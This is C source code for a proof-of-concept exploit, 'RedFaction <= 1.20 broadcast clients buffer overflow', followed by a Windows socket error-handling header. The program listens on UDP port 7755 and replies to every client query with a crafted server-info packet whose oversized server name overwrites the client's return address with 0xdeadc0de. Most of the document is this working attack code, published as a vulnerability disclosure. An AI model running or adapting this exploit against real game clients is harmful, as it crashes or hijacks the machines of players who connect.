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- /*
-
- by Luigi Auriemma
-
- UNIX & WIN VERSION
- */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
-
- #ifdef WIN32
- #include <winsock.h>
- #include "winerr.h"
-
- #define close closesocket
- #else
- #include <unistd.h>
- #include <sys/socket.h>
- #include <sys/types.h>
- #include <arpa/inet.h>
- #include <netdb.h>
- #endif
-
- #define VER "0.1"
- #define BUFFSZ 2048
- #define PORT 7755
- #define RETADDR "\xde\xc0\xad\xde" // 0xdeadc0de
-
- void std_err(void);
-
- int main(int argc, char *argv[]) {
- int sd,
- on = 1,
- psz;
- struct sockaddr_in peer;
- u_char *buff,
- info[] =
- "\x00\x01" // packet number
- "\x00\x00" // packet size - 4
- "\x89" // version (x89 = 1.20)
- "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" // server name (260 bytes)
- "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
- "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
- "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
- "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
- "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
- "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
- "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
- RETADDR "\0"
- "\x00" // type of game
- "\x01" // players
- "\x08" // max players
- "Relentless\0" // mapname
- "\x00" // dunno?
- "\x00"; // password:
- // 4 = yes, 0 = none
-
- setbuf(stdout, NULL);
-
- fputs("\n"
- "RedFaction <= 1.20 broadcast clients buffer overflow "VER"\n"
- "by Luigi Auriemma\n"
- "e-mail: aluigi@altervista.org\n"
- "web: http://aluigi.altervista.org\n"
- "\n", stdout);
-
- #ifdef WIN32
- WSADATA wsadata;
- WSAStartup(MAKEWORD(1,0), &wsadata);
- #endif
-
- peer.sin_addr.s_addr = INADDR_ANY;
- peer.sin_port = htons(PORT);
- peer.sin_family = AF_INET;
- psz = sizeof(peer);
-
- printf("\nBinding UDP port %u\n", PORT);
-
- sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
- if(sd < 0) std_err();
-
- if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
- < 0) std_err();
- if(bind(sd, (struct sockaddr *)&peer, psz)
- < 0) std_err();
-
- buff = malloc(BUFFSZ);
- if(!buff) std_err();
-
- *(u_short *)(info + 2) = sizeof(info) - 5;
-
- printf("Return address of clients will be overwritten with 0x%08lx\n", *(u_long *)RETADDR);
-
- fputs("\nClients:\n", stdout);
- while(1) {
- if(recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz)
- < 0) std_err();
-
- printf("%s:%hu -> ", inet_ntoa(peer.sin_addr), htons(peer.sin_port));
-
- if(sendto(sd, info, sizeof(info) - 1, 0, (struct sockaddr *)&peer, psz)
- < 0) std_err();
- fputs("BOOM\n", stdout);
- }
-
- close(sd);
- return(0);
- }
-
- #ifndef WIN32
- void std_err(void) {
- perror("\nError");
- exit(1);
- }
- #endif
- --------------------------------------------------------------------------------------------------
- //winerr.h
- /*
- Header file used for manage errors in Windows
- It support socket and errno too
- (this header replace the previous sock_errX.h)
- */
-
- #include <string.h>
- #include <errno.h>
-
-
-
- void std_err(void) {
- char *error;
-
- switch(WSAGetLastError()) {
- case 10004: error = "Interrupted system call"; break;
- case 10009: error = "Bad file number"; break;
- case 10013: error = "Permission denied"; break;
- case 10014: error = "Bad address"; break;
- case 10022: error = "Invalid argument (not bind)"; break;
- case 10024: error = "Too many open files"; break;
- case 10035: error = "Operation would block"; break;
- case 10036: error = "Operation now in progress"; break;
- case 10037: error = "Operation already in progress"; break;
- case 10038: error = "Socket operation on non-socket"; break;
- case 10039: error = "Destination address required"; break;
- case 10040: error = "Message too long"; break;
- case 10041: error = "Protocol wrong type for socket"; break;
- case 10042: error = "Bad protocol option"; break;
- case 10043: error = "Protocol not supported"; break;
- case 10044: error = "Socket type not supported"; break;
- case 10045: error = "Operation not supported on socket"; break;
- case 10046: error = "Protocol family not supported"; break;
- case 10047: error = "Address family not supported by protocol family"; break;
- case 10048: error = "Address already in use"; break;
- case 10049: error = "Can't assign requested address"; break;
- case 10050: error = "Network is down"; break;
- case 10051: error = "Network is unreachable"; break;
- case 10052: error = "Net dropped connection or reset"; break;
- case 10053: error = "Software caused connection abort"; break;
- case 10054: error = "Connection reset by peer"; break;
- case 10055: error = "No buffer space available"; break;
- case 10056: error = "Socket is already connected"; break;
- case 10057: error = "Socket is not connected"; break;
- case 10058: error = "Can't send after socket shutdown"; break;
- case 10059: error = "Too many references, can't splice"; break;
- case 10060: error = "Connection timed out"; break;
- case 10061: error = "Connection refused"; break;
- case 10062: error = "Too many levels of symbolic links"; break;
- case 10063: error = "File name too long"; break;
- case 10064: error = "Host is down"; break;
- case 10065: error = "No Route to Host"; break;
- case 10066: error = "Directory not empty"; break;
- case 10067: error = "Too many processes"; break;
- case 10068: error = "Too many users"; break;
- case 10069: error = "Disc Quota Exceeded"; break;
- case 10070: error = "Stale NFS file handle"; break;
- case 10091: error = "Network SubSystem is unavailable"; break;
- case 10092: error = "WINSOCK DLL Version out of range"; break;
- case 10093: error = "Successful WSASTARTUP not yet performed"; break;
- case 10071: error = "Too many levels of remote in path"; break;
- case 11001: error = "Host not found"; break;
- case 11002: error = "Non-Authoritative Host not found"; break;
- case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
- case 11004: error = "Valid name, no data record of requested type"; break;
- default: error = strerror(errno); break;
- }
- fprintf(stderr, "\nError: %s\n", error);
- exit(1);
- }
-
-